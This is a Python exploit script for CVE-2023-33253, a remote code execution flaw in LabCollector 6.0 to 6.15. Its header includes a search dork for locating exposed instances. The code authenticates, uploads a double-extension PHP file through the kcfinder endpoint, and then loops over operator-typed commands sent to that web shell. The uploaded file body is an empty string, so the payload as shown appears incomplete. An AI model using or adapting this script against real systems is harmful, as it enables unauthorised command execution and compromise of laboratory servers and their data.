#!/usr/bin/env python # -*- coding: utf-8 -*- # # Exploit Title: LabCollector <= 6.15 Remote Code Execution # # Exploit Author: Toxi4 # Goole Dork: intitle:"LabCollector - Login" # CVE: CVE-2023-33253 # Date: 2023/05/22 # Vulnerability discovered by Anton Kartunov # Vendor Homepage: https://labcollector.com # Software Link: https://labcollector.com/labcollector-lims/get-started-with-free-version/ # Version: >= 6.12 # Tested on: LabCollector 6.0, 6.12 # # LabCollector 6.0 though 6.15 allows remote code execution # An authenticated remote low-privileged user can upload an executable PHP file and execute system commands. # The vulnerability is in the message function, and is due to insufficient validation of the file (such as shell.jpg.php.shell) being sent. # Tested on Window Server 2019 x64 # # Usage example: python CVE-2023-33253 -t 127.0.0.1 -u user -p user import requests import argparse import random import string import sys import re help = "LabCollector Arbitrary File Upload" parser = argparse.ArgumentParser(description=help) parser.add_argument("-t", "--target", help="Target IP", required=True) parser.add_argument("-u", "--username", help="Username") parser.add_argument("-p", "--password", help="Password") args = parser.parse_args() host = args.target username = args.username password = args.password port = 80 s = requests.Session() headers = {"Content-Type": "application/x-www-form-urlencoded", "Referer": f"http://{host}:{port}/lab/login.php"} def random_string(chars): choices = [] for _ in range(chars): choices.append(random.choice(string.ascii_letters)) return "".join(choices) def auth(): auth_url = f"http://{host}:{port}/lab/login.php" data = f"login={username}&pass={password}&Submit=&action=login" try: s.post(auth_url, data = data, headers = headers) print('[+] Authentication was successfull') except Exception as e: print("[-] Authentication was failed") sys.exit(0) def upload_file(): url = f"http://{host}:{port}/lab/kcfinder/upload.php?type=files&CKEditor=doc_scratch&CKEditorFuncNum=1&langCode=en" file_name = random_string(5) shell_name = file_name + f'.jpg.php.{file_name}' try: s.post(url, files={'upload': (shell_name , '', 'image/png')}) print('[+] File successfully upload!', f'File name: {shell_name}') return shell_name except Exception as e: print("[-] File cannot be uploaded. Probably server has been patched") sys.exit(1) def execute_cmd(shell_name, cmd): url = f"http://{host}:{port}/lab/UserFiles/files/{shell_name}?cmd={cmd}" try: output = s.get(url).content print("[+] Execute successfully") print(output) except Exception as e: print("[-] Something went wrong") sys.exit(2) def main(): auth() shell_name = upload_file() while True: cmd = input("Input cmd: ") execute_cmd(shell_name, cmd) if __name__ == "__main__": try: main() except KeyboardInterrupt: print('Interrupted by users...') except: sys.exit()